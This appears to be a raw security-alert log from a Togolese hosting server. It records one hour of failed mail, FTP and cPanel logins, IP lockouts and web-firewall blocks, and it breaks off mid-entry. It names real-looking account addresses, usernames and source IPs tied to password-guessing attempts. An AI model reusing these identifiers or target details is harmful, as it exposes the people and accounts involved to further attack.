2026-06-06 08:29:51 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1612: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:31:01 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1642: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:32:05 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1647: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.170
country_id: 3469034
description:
Jun  6 08:33:42 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:33:06 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1649: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.108.246.164
country_id: 3469034
description:
Jun  6 08:33:32 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.108.246.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.99
country_id: 2300660
description:
Jun  6 08:34:33 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.108.246.164
country_id: 3469034
description:
Jun  6 08:33:46 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.108.246.164 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.84.107.55
country_id: 2661886
description:
45.84.107.55 - kqracgxh [06/Jun/2026:08:33:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857638&pdata=https%253A%252F%252Funiverscom.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780734834 HTTP/2.0" 302 0 universcom.tg "https://universcom.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.84.107.55


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.170
country_id: 3469034
description:
Jun  6 08:33:50 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:34:06 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1653: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.131
country_id: 1269750
description:
Jun  6 08:34:13 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:35:08 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1654: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.99
country_id: 2300660
description:
Jun  6 08:34:46 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:36:07 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1656: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.199
country_id: 2661886
description:
193.189.100.199 - aopsacai [06/Jun/2026:08:35:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988195&pdata=https%253A%252F%252Fwages.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780734954 HTTP/2.0" 302 0 wages.tg "https://wages.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.199


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:37:09 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1659: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.210.37
country_id: 933860
description:
Jun  6 08:38:00 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.210.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:38:09 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1661: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:39:19 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1545: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.179.238.252
country_id: 2542007
description:
2026-06-06 08:40:23 dovecot_plain authenticator failed for H=(npgfx1zgr76iil2wk2eb5ks2u3t) [160.179.238.252]:59341: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.191.89.6
country_id: 1562822
description:
2026-06-06 08:40:27 dovecot_plain authenticator failed for H=(aa9kqtkrckubp2fmc4k) [160.191.89.6]:34932: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:40:29 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1547: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.155.93
country_id: 99237
description:
Jun  6 08:41:15 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.155.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:41:33 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1548: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.15
country_id: 1880251
description:
47.128.121.15 - - [06/Jun/2026:08:42:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7049833&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fmazalo-agba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780735334 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/tag/mazalo-agba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.15


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:42:34 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1550: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:43:36 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1551: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 84.15.220.239
country_id: 458258
domain: macite.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-45.84.15.220.239||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:46:46 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1553: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.42
country_id: 3175395
description:
Jun  6 08:47:39 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.65.26.75
country_id: 1814991
description:
2026-06-06 08:48:42 H=([183.36.178.185]) [113.65.26.75]:37258 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.42
country_id: 3175395
description:
Jun  6 08:47:52 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:47:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1554: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.59
country_id: 732800
description:
Jun  6 08:47:57 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:48:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1558: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:49:57 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1601: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 166.0.52.131
country_id: 2921044
domain: cafe.tg
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.217.190.202
country_id: 1522867
description:
2026-06-06 08:50:00 H=([185.217.190.202]) [185.217.190.202]:21154 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:50:58 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1619: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Out Your Seventh-Level Funds vamvozmviigr.blogspot.de Ow||Email:appreciatealway@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-51.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:52:04 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1621: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.134
country_id: 690791
description:
Jun  6 08:52:22 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.124.165.209
country_id: 783754
description:
Jun  6 08:52:55 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.124.165.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.124.165.209
country_id: 783754
description:
2026-06-06 08:52:57 dovecot_plain authenticator failed for H=(uozgh1njbflnq6q8pmljurra1mmt4) [103.124.165.209]:43040: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:53:14 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1623: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:54:14 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1630: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:55:15 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1647: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.162
country_id: 1880251
description:
47.128.96.162 - - [06/Jun/2026:08:55:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984553&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fanadeb%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780736154 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/anadeb/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.162


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 08:56:16 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1649: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.150.187.29
country_id: 3469034
description:
Jun  6 08:57:35 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.150.187.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.89
country_id: 3469034
description:
Jun  6 08:57:13 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 15.235.145.72
country_id: 1880251
description:
[2026-06-06 08:57:35 +0000] info [cpaneld] 15.235.145.72 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.150.187.29
country_id: 3469034
description:
Jun  6 08:57:48 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.150.187.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:00:35 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1655: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.58.216.182
country_id: 1522867
description:
2026-06-06 08:59:54 H=([95.58.216.182]) [95.58.216.182]:60251 F=<John@4452.com> rejected RCPT <realestate@confortis.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:00:52 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1657: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 147.45.179.108
country_id: 2635167
description:
Jun  6 09:03:10 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 147.45.179.108 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.45.179.108
country_id: 2635167
description:
2026-06-06 09:03:12 dovecot_plain authenticator failed for H=(9mqf9eydohgr2vxff650bgz0) [147.45.179.108]:52162: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.158.48.89
country_id: 6251999
description:
Jun  6 09:04:56 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.158.48.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.158.48.89
country_id: 6251999
description:
2026-06-06 09:04:58 dovecot_login authenticator failed for H=([104.158.48.89]) [104.158.48.89]:46940: 535 Incorrect authentication data (set_id=contact@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:06:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:12683: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:07:54 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:12685: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 31.40.195.131
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If your instructor does non compel the Summit Chapeau chopine for your course, just you are concerned in purchasing a Top Chapeau eText, delight claver our Catalogue. You fire practice Peak Hat through and through an net browser or through our Mobile River app. The Transcend Chapeau nomadic app prat be downloaded on both iOS (Apple) and Android devices. For internet browsers, Top off Lid potty be used on the trey latest versions of Google Chrome, Mozilla Firefox, Campaign as intimately as Microsoft March. Lead Chapeau is optimized for Google Chromium-plate and Mozilla Firefox, so we recommend you practice single of those deuce browsers. If you would the like to mother in tinge with this accountant, please furnish your name, email, phone, and a myopic content. Height Lid moral force eTexts are optimized for an interactive, active learnedness experience.||MV:gt;If your instructor does non compel the Summit Chapeau chopine for your course, just you are concerned in purchasing a Top Chapeau eText, delight claver our Catalogue. You fire practice Peak Hat through and through an net browser or through our Mobile River app. The Transcend Chapeau nomadic app prat be downloaded on both iOS (Apple) and Android devices. For internet browsers, Top off Lid potty be used on the trey latest versions of Google Chrome, Mozilla Firefox, Campaign as intimately as Microsoft March. Lead Chapeau is optimized for Google Chromium-plate and Mozilla Firefox, so we recommend you practice single of those deuce browsers. If you would the like to mother in tinge with this accountant, please furnish your name, email, phone, and a myopic content. Height Lid moral force eTexts are optimized for an interactive, active learnedness experience.||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.12
country_id: 6252001
description:
205.169.39.12 - - [06/Jun/2026:09:09:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6975595&pdata=http%253A%252F%252Fv2lhxq.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780736942 HTTP/1.1" 302 0 v2lhxq.mediatopnews.tg "http://v2lhxq.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.12


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:08:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:4484: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:10:02 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:8322: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.34
country_id: 130758
description:
Jun  6 09:11:03 ns5 pure-ftpd[2585309]: (?@172.94.9.34) [WARNING] Authentication failed for user [selithgroup]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.93.154.207
country_id: 1643084
description:
Jun  6 09:11:11 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.93.154.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun  6 09:11:51 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [06/Jun/2026:09:14:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870494&pdata=http%253A%252F%252Fafriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780737251 HTTP/1.1" 302 0 afriquerevelation.tg "http://afriquerevelation.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Copious Bonus vamvozmviigr.blogspot.fr 6O||Email:b.eyrolle@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-15.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 180.172.36.213
country_id: 1814991
description:
2026-06-06 09:17:48 H=([180.172.36.213]) [180.172.36.213]:41485 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.21
country_id: 6252001
description:
205.169.39.21 - - [06/Jun/2026:09:20:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473070&pdata=http%253A%252F%252Fxqr2qh.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780737641 HTTP/1.1" 302 0 xqr2qh.mediatopnews.tg "http://xqr2qh.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.21


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:23:05 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3458: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:24:14 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3467: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.34
country_id: 130758
description:
Jun  6 09:23:48 ns5 pure-ftpd[2594367]: (?@172.94.9.34) [WARNING] Authentication failed for user [snb]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.215.145
country_id: 933860
description:
Jun  6 09:25:04 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.215.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.215.145
country_id: 933860
description:
2026-06-06 09:25:06 dovecot_login authenticator failed for H=(41.216.215.145) [41.216.215.145]:40206: 535 Incorrect authentication data (set_id=basile.dzadu@ekeasarl.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:25:14 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3473: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:26:17 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3476: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [06/Jun/2026:09:27:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001769&pdata=http%253A%252F%252Fqx0gfv.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780738035 HTTP/1.1" 302 0 qx0gfv.mediatopnews.tg "http://qx0gfv.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:27:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3480: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:28:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3485: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.26.192.145
country_id: 2750405
description:
Jun  6 09:29:37 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.26.192.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.26.192.145
country_id: 2750405
description:
2026-06-06 09:29:39 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [194.26.192.145]:64456: 535 Incorrect authentication data (set_id=sotrane@sotranetogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 09:29:33 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:3486: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.26.192.145
country_id: 2750405
description:
Jun  6 09:29:52 ns5 auth[2491973]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.26.192.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.26.192.145
country_id: 2750405
description:
2026-06-06 09:29:54 dovecot_login authenticator failed for H=(Copy-of-VM-2022) [194.26.192.145]:65181: 535 Incorrect authentication data (set_id=sotrane@sotranetogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
